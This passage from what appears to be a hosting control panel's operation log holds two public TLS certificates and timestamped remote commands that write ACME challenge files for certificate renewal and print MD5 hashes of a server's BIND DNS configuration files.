MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-05 06:00:02: Establishing a connection
2026-07-05 06:00:03: Establishing a connection
2026-07-05 06:00:03: 

PUT: /tmp/pkp453251

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-05 06:00:04: 

chmod 755 /tmp/pkp453251; /tmp/pkp453251; rm /tmp/pkp453251

2026-07-05 06:00:04: 


1


2026-07-05 06:00:05: Establishing a connection
2026-07-05 06:00:05: 

PUT: /tmp/pkp814632

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > h_d-MFXFxYo-9nY-QfP6rbR7fR81TkalXDUtsq5URjY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
h_d-MFXFxYo-9nY-QfP6rbR7fR81TkalXDUtsq5URjY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 h_d-MFXFxYo-9nY-QfP6rbR7fR81TkalXDUtsq5URjY


2026-07-05 06:00:05: 

chmod 755 /tmp/pkp814632; /tmp/pkp814632; rm /tmp/pkp814632

2026-07-05 06:00:05: 




2026-07-05 18:04:59: Establishing a connection
2026-07-05 18:05:05: Establishing a connection
2026-07-05 18:05:05: 

PUT: /tmp/pkp806436

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-05 18:05:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp806436; rm /tmp/pkp806436'

2026-07-05 18:05:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-05 18:05:11: Establishing a connection
2026-07-05 18:05:11: Establishing a connection
2026-07-05 18:05:11: 

PUT: /tmp/pkp968579

#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-05 18:05:12: 

chmod 755 /tmp/pkp968579; /tmp/pkp968579; rm /tmp/pkp968579
